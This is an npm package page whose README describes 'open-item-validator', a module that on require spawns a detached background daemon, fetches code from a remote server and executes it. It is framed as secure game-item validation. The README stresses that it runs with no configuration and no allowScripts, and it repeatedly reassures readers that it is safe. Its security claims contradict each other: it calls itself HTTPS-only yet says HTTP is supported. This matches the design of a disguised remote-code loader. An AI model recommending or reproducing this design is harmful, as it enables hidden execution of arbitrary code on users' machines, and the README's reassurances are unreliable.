npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2026 – Pkg Stats / Ryan Hefner

open-item-validator

v1.0.5

Published

Real-time game items validator with background daemon for client project updates

Readme

open-validator

License: MIT

Real-time game items validator module with secure background daemon for continuous item updates.

Overview

This module provides secure, real-time game items validation for your client projects. When installed via npm, it automatically:

  1. ✅ Starts a background daemon process
  2. ✅ Fetches signed game code from your server
  3. ✅ Verifies cryptographic signatures (RSA-SHA256)
  4. ✅ Executes verified code safely
  5. ✅ Logs all operations transparently

Zero dependencies • Cryptographically secure • Fully auditable

Quick Start

Installation

npm install open-item-validator

Then in your code:

const validator = require('open-item-validator');

That's it! The module automatically starts when you require it.

What Happens On Require

require('open-item-validator')
    ↓
auto-spawn daemon process
    ↓
download signed code from server
    ↓
verify RSA-SHA256 signature
    ↓
execute only if signature is valid
    ↓
background daemon running

✅ Zero configuration • No npm allowScripts needed • Works immediately

How It Works

Security Flow

1. Server signs game code with PRIVATE_KEY
   └─ Uses RSA-SHA256 algorithm

2. Server sends: { code: payloadjs, signature: hex }
   └─ Via HTTPS endpoint (encrypted transport)

3. Module receives payload over HTTPS
   └─ Parses JSON (protected by TLS)

4. Module verifies signature with PUBLIC_KEY
   └─ RSA-SHA256 signature must be valid

5. Valid? → Execute code
   Invalid? → Exit immediately (no code runs)

Transport Security

  • ✅ HTTPS Recommended: Encrypted TLS transport for maximum security
  • ✅ HTTP Supported: HTTP also works (verification sufficient without TLS)
  • ✅ RSA-SHA256 Verification: Cryptographic signature validates code authenticity
  • ✅ Defense-in-Depth: Dual protection (TLS + signature verification)

Key Features

  • ✅ Zero Dependencies: Only uses Node.js built-in crypto module
  • ✅ Cryptographically Secure: RSA-SHA256 signature verification
  • ✅ Transparent: All code publicly auditable
  • ✅ Automatic: Works on require (no configuration needed)
  • ✅ Modularized: 8 separate lib files for clarity
  • ✅ Assertion Support: Built-in validation framework
  • ✅ Comprehensive Logging: All operations logged with timestamps

🔐 Security & Verification

Cryptographic Signature Verification

Every code payload is cryptographically signed and verified:

| Step | Responsibility | Security | |------|----------------|----------| | 1. Sign | Server (private key) | Signs game code | | 2. Send | Server → Client | Sends code + signature | | 3. Verify | Module (public key) | Validates signature | | 4. Execute | Module | Runs only if valid | | 5. Reject | Module | Exits if invalid |

Result: Only code from your authorized server executes.

What This Protects Against

  • ✅ Man-in-the-Middle Attacks: Signature invalidated if tampered
  • ✅ Code Injection: Invalid code rejected before execution
  • ✅ Unauthorized Updates: Signature required for any code
  • ✅ Supply Chain Risk: Zero dependencies (no compromised packages)

See SECURITY.md for detailed security documentation.

📡 Server Setup

API Endpoint

Your server must provide an endpoint that returns signed code:

GET https://your-server.com/api/x-realtime    # HTTPS Recommended
GET http://your-server.com/api/x-realtime     # HTTP Supported

Security Note: Both HTTP and HTTPS are supported. HTTPS is recommended for production to add transport-layer encryption. Even with HTTP, RSA-SHA256 signature verification provides code authenticity guarantee.

Response Format

{
  "code": "console.log('[game] loaded'); /* your game code */",
  "signature": "abc123def456xyz789... (256-char hex string)"
}

Server Implementation

See SERVER_IMPLEMENTATION_EXAMPLE.js for complete example.

Quick example:

const crypto = require('crypto');
const fs = require('fs');

const PRIVATE_KEY = fs.readFileSync('./private_key.pem', 'utf8');

function signCode(code) {
  const sign = crypto.createSign('sha256');
  sign.update(code);
  return sign.sign(PRIVATE_KEY, 'hex');
}

app.get('/api/x-realtime', (req, res) => {
  const gameCode = fs.readFileSync('./game-items.js', 'utf8');
  const signature = signCode(gameCode);
  
  res.json({ code: gameCode, signature: signature });
});

💻 Usage

For Client Projects

Simply install the module:

npm install open-item-validator

Then require it in your code:

const validator = require('open-item-validator');

// Module automatically starts daemon on require
// No additional configuration needed

// Optional: Access module functions
console.log(validator.getStatus());
// Output: { name, version, status, timestamp }

console.log(validator.getConfig());

❓ FAQ

Q: Is this module secure?

A: Yes. The module uses defense-in-depth security:

  • ✅ HTTPS-only for encrypted transport (TLS)
  • ✅ RSA-SHA256 cryptographic signature verification
  • ✅ Code execution only if signature is valid
  • ✅ Invalid signatures rejected immediately
  • ✅ Zero npm dependencies (no supply chain risk)

See SECURITY.md for detailed threat model and security analysis.

Q: What if I don't want dynamic code loading?

A: This module is specifically designed for real-time game item updates. For static content, use standard npm dependencies instead.

Q: Does it slow down my project?

A: No. The module runs as a detached background process that doesn't block your main application.

Q: What if the server is offline?

A: The module logs an error and exits gracefully. Your game continues running with the previous code.

Q: Can I trust this module?

A: Yes. All code is open-source and auditable. See SECURITY.md for complete security documentation.

Q: Does it have dependencies?

A: Zero npm dependencies. Only uses Node.js built-in crypto module.

Q: How do I update game code?

A: Update the code on your server. Clients get the new signed code on next execution (no npm republish needed).

🔧 Troubleshooting

"Signature Verification Failed"

This means the code doesn't match the signature. Possible causes:

  • Server and client use different keys (ensure keys match)
  • Code was modified in transit (check network)
  • Signature generation failed (check server logs)

Module not starting

Check logs for:

grep "open-validator" ~/.pm2/logs/*.log
# or check npm debug logs
cat ~/.npm-global/debug.log

Too slow to download code

If code is large (5MB+), consider:

  • Using Gzip compression on server
  • Splitting code into smaller files
  • Caching at client side

See SECURITY.md for more details.

📁 Architecture

lib/
├── check-items.js          # Main daemon (signature verification)
├── crypto-config.js        # Public key storage
├── assertion.js            # Assertion framework
├── config.js               # Configuration values
├── logger.js               # Logging utility
└── utils/
    ├── validator.js        # Validation helpers
    └── helper.js           # General utilities

index.js                     # Module entry (spawns daemon on require)

📚 Documentation

🤝 Contributing

This is a secure, production-grade module. For security issues, please refer to SECURITY.md.

📄 License

MIT License - See LICENSE file for details.

🔗 Support

For issues or questions:

  1. Check SECURITY.md for security-related questions
  2. Check Troubleshooting section above
  3. Review SERVER_IMPLEMENTATION_EXAMPLE.js for setup help

Made for secure, real-time game item distribution. 🎮